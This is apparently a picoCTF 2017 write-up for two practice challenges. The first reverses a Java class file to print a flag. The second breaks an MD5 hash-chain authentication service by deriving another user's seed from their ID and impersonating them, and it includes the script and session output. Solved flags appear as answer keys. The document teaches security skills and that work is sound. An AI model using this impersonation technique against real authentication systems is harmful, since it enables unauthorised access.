da1e62f3da550878ed92d3d55d61fe7d

3 Level 3

3.1 Reversing

3.1.1 Coffee

Link : Coffee

You found a suspicious USB drive in a jar of pickles. It contains this file

Hint :

Is there a way to get the source of the program?

Solution :

This problem gives a java class file , by using a java decompiler we can get the source code Java decompiler online

import java.util.Base64.Decoder;

public class problem {
  public problem() {}
  
  public static String get_flag() { String str1 = "Hint: Don't worry about the schematics";
    String str2 = "eux_Z]\\ayiqlog`s^hvnmwr[cpftbkjd";
    String str3 = "Zf91XhR7fa=ZVH2H=QlbvdHJx5omN2xc";
    byte[] arrayOfByte1 = str2.getBytes();
    byte[] arrayOfByte2 = str3.getBytes();
    byte[] arrayOfByte3 = new byte[arrayOfByte2.length];
    for (int i = 0; i < arrayOfByte2.length; i++)
    {
      arrayOfByte3[i] = arrayOfByte2[(arrayOfByte1[i] - 90)];
    }
    System.out.println(java.util.Arrays.toString(java.util.Base64.getDecoder().decode(arrayOfByte3)));
    return new String(java.util.Base64.getDecoder().decode(arrayOfByte3));
  }
  
  public static void main(String[] paramArrayOfString) {
    System.out.println("Nothing to see here");
  }
}

Changed the source code to call getflag funtion

    public static void main(String[] paramArrayOfString) {
        System.out.println("Nothing to see here");
        problem.get_flag();
    }

Just Running this java code gives the flag

flag_{pretty_cool_huh}

3.2 Cryptography

3.2.1 HashChain

Link: HashChain

We found a service hiding a flag! It seems to be using some kind of MD5 Hash Chain authentication to identify who is allowed to see the flag. Maybe there is a flaw you can exploit? hcexample.py has some example code on how to calculate iterations of the MD5 hash chain. Connect to it at shell2017.picoctf.com:2412!

Hint :

Connect from the shell with nc. Read up on how Hash Chains work and try to identify what could make this cryptosystem weak.

Solution :

The given python script

import md5 #Must be run in python 2.7.x

#code used to calculate successive hashes in a hashchain. 
seed = "seedhash"

#this will find the 5th hash in the hashchain. This would be the correct response if prompted with the 6th hash in the hashchain
hashc = seed
for _ in xrange(5):
  hashc = md5.new(hashc).hexdigest()
 
print hashc

running the remote program


*******************************************
***            FlagKeeper 1.1           ***
*  now with HASHCHAIN AUTHENTICATION! XD  *
*******************************************

Would you like to register(r) or get flag(f)?

r/f?

r
Hello new user! Your ID is now 4893 and your assigned hashchain seed is 68d3743587f71fbaa5062152985aff40
Please validate your new ID by sending the hash before this one in your hashchain (it will hash to the one I give you):
55f7eb629ebe76812d5a2c565067e311

it is asking to find the hash before the given hash in the hashchain ,

import md5 

seed = ""
last_hash = ""

hashc = seed
while True:
  hashc = md5.new(hashc).hexdigest()
  print hashc
  if hashc == last_hash:
    break

This script gives the required hash , Other thing is that the seed id the md5 hash of the user id

let's give f as input

,*******************************************
,***            FlagKeeper 1.1           ***
,*  now with HASHCHAIN AUTHENTICATION! XD  *
,*******************************************

Would you like to register(r) or get flag(f)?

r/f?

f
This flag only for user 8111
Please authenticate as user 8111
1ac73c7e8ab28db1e48377f985bf4dab
Next token?

we need to give the previous hash in the user's hash chain , and the seed is the md5 of the user id

This flag only for user 8111
Please authenticate as user 8111
1ac73c7e8ab28db1e48377f985bf4dab
Next token?
1beeffb8e649bc7efe80c706e7f562e3
Hello user 8111! Here's the flag: 232360dd1aa3dd2f25c6c4ffe1893a06